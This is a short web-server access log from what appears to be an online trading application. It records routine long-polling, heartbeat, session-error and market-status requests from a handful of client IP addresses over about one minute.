[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930966047 HTTP/1.1" -
[09/Jan/2026:11:51:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930966354 HTTP/1.1" -
[09/Jan/2026:11:51:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930965976 HTTP/1.1" -
[09/Jan/2026:11:51:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930968430 HTTP/1.1" -
[09/Jan/2026:11:51:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930968168 HTTP/1.1" -
[09/Jan/2026:11:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930969007 HTTP/1.1" -
[09/Jan/2026:11:51:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930971117 HTTP/1.1" -
[09/Jan/2026:11:51:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930971498 HTTP/1.1" -
[09/Jan/2026:11:51:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930971053 HTTP/1.1" -
[09/Jan/2026:11:51:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930973470 HTTP/1.1" -
[09/Jan/2026:11:51:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930973430 HTTP/1.1" -
[09/Jan/2026:11:51:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930974063 HTTP/1.1" -
[09/Jan/2026:11:51:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930976175 HTTP/1.1" -
[09/Jan/2026:11:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930976561 HTTP/1.1" -
[09/Jan/2026:11:51:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930976143 HTTP/1.1" -
[09/Jan/2026:11:51:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930978498 HTTP/1.1" -
[09/Jan/2026:11:51:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930978633 HTTP/1.1" -
[09/Jan/2026:11:51:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930979127 HTTP/1.1" -
[09/Jan/2026:11:51:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930981246 HTTP/1.1" -
[09/Jan/2026:11:51:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930981710 HTTP/1.1" -
[09/Jan/2026:11:51:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930981211 HTTP/1.1" -
[09/Jan/2026:11:51:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930983525 HTTP/1.1" -
[09/Jan/2026:11:51:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930983916 HTTP/1.1" -
[09/Jan/2026:11:51:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930984195 HTTP/1.1" -
[09/Jan/2026:11:51:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930986315 HTTP/1.1" -
[09/Jan/2026:11:51:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930986850 HTTP/1.1" -
[09/Jan/2026:11:51:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930986235 HTTP/1.1" -
[09/Jan/2026:11:51:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930988567 HTTP/1.1" -
[09/Jan/2026:11:51:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930989212 HTTP/1.1" -
[09/Jan/2026:11:52:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930989260 HTTP/1.1" -
[09/Jan/2026:11:52:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930991374 HTTP/1.1" -
[09/Jan/2026:11:52:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930991989 HTTP/1.1" -
[09/Jan/2026:11:52:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930991551 HTTP/1.1" -
[09/Jan/2026:11:52:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930993601 HTTP/1.1" -
[09/Jan/2026:11:52:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930994318 HTTP/1.1" -
[09/Jan/2026:11:52:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930994300 HTTP/1.1" -
[09/Jan/2026:11:52:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930996433 HTTP/1.1" -
[09/Jan/2026:11:52:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930997117 HTTP/1.1" -
[09/Jan/2026:11:52:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930996613 HTTP/1.1" -
[09/Jan/2026:11:52:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930998626 HTTP/1.1" -
[09/Jan/2026:11:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930999390 HTTP/1.1" -
[09/Jan/2026:11:52:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930999489 HTTP/1.1" -
[09/Jan/2026:11:52:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931001493 HTTP/1.1" -
[09/Jan/2026:11:52:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931002247 HTTP/1.1" -
[09/Jan/2026:11:52:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931001685 HTTP/1.1" -
[09/Jan/2026:11:52:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931003659 HTTP/1.1" -
[09/Jan/2026:11:52:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931004458 HTTP/1.1" -
[09/Jan/2026:11:52:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931004660 HTTP/1.1" -
[09/Jan/2026:11:52:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931006562 HTTP/1.1" -
[09/Jan/2026:11:52:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931007315 HTTP/1.1" -
[09/Jan/2026:11:52:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931006751 HTTP/1.1" -
[09/Jan/2026:11:52:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931008702 HTTP/1.1" -
[09/Jan/2026:11:52:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931009549 HTTP/1.1" -
[09/Jan/2026:11:52:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931009907 HTTP/1.1" -
[09/Jan/2026:11:52:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931011632 HTTP/1.1" -
[09/Jan/2026:11:52:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931012451 HTTP/1.1" -
[09/Jan/2026:11:52:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931011874 HTTP/1.1" -
